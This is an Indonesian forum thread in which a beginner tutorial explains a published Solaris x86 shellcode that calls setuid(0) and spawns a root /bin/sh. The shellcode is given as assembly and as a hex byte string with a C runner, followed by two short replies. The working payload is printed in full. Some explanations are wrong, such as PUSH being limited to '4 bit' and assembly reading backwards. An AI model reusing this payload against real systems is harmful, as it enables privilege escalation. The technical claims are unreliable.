1

Topic: belajar shellcode,simple tapi bikin gua mumedz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

====================[ Shell code I]====================

---------------[ <lucifer666_guebanget[at]yahoo[dot]co[dot]id> ]----------

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


---]> Preface

Kali ini saya akan membahas tentang shell code, bagi anda yang sudah mengerti tentang seluk beluk exploit,
maka kata ini tentulah tidak asing bagi anda. Baiklah, langsung saja Shell code atau yang disebut 'telur'
oleh cyb3rh3b (kecoak staff di echo-zine issue 14) adalah sebuah kumpulan instruksi/code yang dibawa oleh
exploit dan dieksekusi setelah serangan dilakukan.
Lebih jelasnya, ketika sebuah system berhasil diexploitasi, dalam hal ini dengan methode buffer overflow,
setelah sebuah aplikasi/program crash maka alur intruksi program tesebut akan dibelokkan a.k.a ditendang.;p
kemana? ya! ke sebuah instruksi di alamat yang telah disiapkan oleh exploit tadi. Disanalah letak shell code.

Lalu, untuk apa shell code tersebut? mungkin anda bertanya demikian, yang pasti bukan buat pemanis saja bukan?
Jadi begini, setelah sebuah bug diexploitasi, maka apa sih yang akan anda lakukan pada system tersebut?
Mendapatkan shell korban, membuat koneksi dengan membuka port sebelumnya, menambah sebuah hidden user,
dsb... itu bisa anda lakukan dengan shell code tadi.


---]> Shell-code

berikut contoh shell code..

/*
; sm4x 2008
; setuid(0), execve('/bin/sh', '/bin/sh', 0),
; 39 bytes NizzULL free (you know...)
; SunOS sol01 5.11 snv_86 i86pc i386 i86pc Solaris
; quick port to drop root sh -  ;)  - SunOS is pwnij
global _start
_start:

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
int     0x91

; setup //bin/sh
push    eax
push    0x68732f6e
push    0x69622f2f
mov     ebx, esp

; --- array setup
push    eax     ; null
push    ebx     ; //bin/sh
mov     edx, esp

; -- execve()
push    eax     ; 0
push    edx     ; array { "//bin/sh", 0}
push    ebx     ; //bin/sh
mov     al, 0x3b
push    eax
int     0x91

; --- exit
inc     eax
push    eax
push    eax
int     0x91

*/
#include <stdio.h>

char code[] =   "\x31\xc0\x50\x50\xb0\x17\xcd\x91\x50\x68"
                "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
                "\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b"
                "\x50\xcd\x91\x40\x50\x50\xcd\x91";


int main(int argc, char **argv) {
 int (*func)();
 printf("Bytes: %d\n", sizeof(code));
 func = (int (*)()) code;
 (int)(*func)();
}

// milw0rm.com [2008-12-02]


Kode diatas saya ambil dari milw0rm, bisa cari di no.7320 bagian shell code.
Exploit tersebut berjalan pada mesin Solaris, tepatnya SunOS sol01 5.11 snv_86 i86pc,
yang berguna untuk men'drop shell, dalam hal ini yaitu /bin/sh-nya r00t. ^0^
kenapa saya pilih kode diatas? hehe, karena simple, serta kode diatas belum tercampuri
dengan exploit macem-macem, dan terlebih saya lebih prefer ama yang namanya C, hehe tongue

oke perhatikan pada bagian shell codenya,,

char code[] =  "\x31\xc0\x50\x50\xb0\x17\xcd\x91\x50\x68"
               "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
               "\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b"
               "\x50\xcd\x91\x40\x50\x50\xcd\x91";

Bagian inilah yang disebut dengan shellcode, dari mana kode hexa (yang ruwet dan berbetuk aneh)
tersebut didapat?
sekarang anda perhatikan pada bagian comment kode C diatas (antara tanda /* dan */ )
ya, itu adalah kode dalam bahasa asembly, dan disitulah inti dari shell code. shell code dibuat
dalam bahasa assembly, karena mekanisme shell code adalah dijalankan langsung oleh komputer dan
instruksinya tertanam dalam memory.
Nah, tapi bahasa assembly saja belum cukup, kan masih perlu di compile kan?, untuk itu, dalam
rangka menghindari kontaminasi dan keragaman bahasa yang digunakan, maka kode assembly diatas
diubah ke dalam kode hexa.
kode hexa tentunya lebih pas dalam hal ini, karena dia secara intreprenter bisa dijalankan di
mesin gitu loh..

Perhatikan bait kedua dari kode assembly diatas?
potongan kode dibawah berguna men-set intruksi untuk shell yang akan di gaining..

; setup //bin/sh
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp

perhatikan lagi baris ketiga dan keempat dari kode diatas

push 0x68732f6e
push 0x69622f2f
hehe, sudah mengertikah?

68732f6e
69622f2f

coba balik dan convert ke dalam kedalam char biasa,

hs/n     >>   n/sh    >> //bi     >> //bin/sh
ib//          //bi       n/sh



kenapa harus dibalik? karena bahasa assembly memang alur bacanya adalah dari belakang ke depan.
contoh : mov al, 0x3b >> artinya pindahkan nilai 0x3b ke alamat al.

dan kenapa kata /bin/sh harus diputus begitu, kenapa tidak dilangsung 0x68732f6e69622f2f ?
karena dalam bahasa assembly perintah PUSH terbatas memiliki jangkauan/ukuran sebesar 4 bit.

jadi kesimpulannya, untuk mampu membuat exploit diperlukan skill untuk memahami alur kerja program,
error handling, assembly, C/perl, dll.. yang penting marilah terus belajar dan belajar.
Jangan hanya bisa menggunakan tool/exploit tanpa mengerti bagaimana cara kerjanya.
Seorang hacker sejati (preeeeeeeeeeettttttttt ) adalah individu yang tertarik untuk memahami bagaimanakah
suatu system bekerja (?)

Yup, terakhir tulisan ini memang banyak kekurangan, dan mungkin hanya mengupas kulitnya saja dari
pokok bahasan,
Di lain kesempatan (part II), akan saya bahas resep membuat shell code lengkap dengan alat dan bahannya.. ;p [*do'ain ajah bisa..tapi,gk tau kapan
taon depan kali iia smile) kl sy dah hapal asm di luar kepala] lol

*NOTE : ~ Ditulis dalam keadaan teracuni cukrik [baca:arak tradisional berkadar 90%alkohol]
        ~ --------------------- Sumpek di rasuki rasa penasaran yg sangat dalam tongue
        ~ --------------------- Di bisikin DAIMONOS <= lagu ny BEHEMOTH \m/
---]> Reference

[1] echo-zine issue 14
[2] http://cyberheb.wordpress.com/
[3] http://google.com/

2

Re: belajar shellcode,simple tapi bikin gua mumedz

bang itu assembler yak, blum mudeng klo assembler bang iks

3

Re: belajar shellcode,simple tapi bikin gua mumedz

waw, sangar banget nih ilmunya bang, huikss..

enjoy, big_smile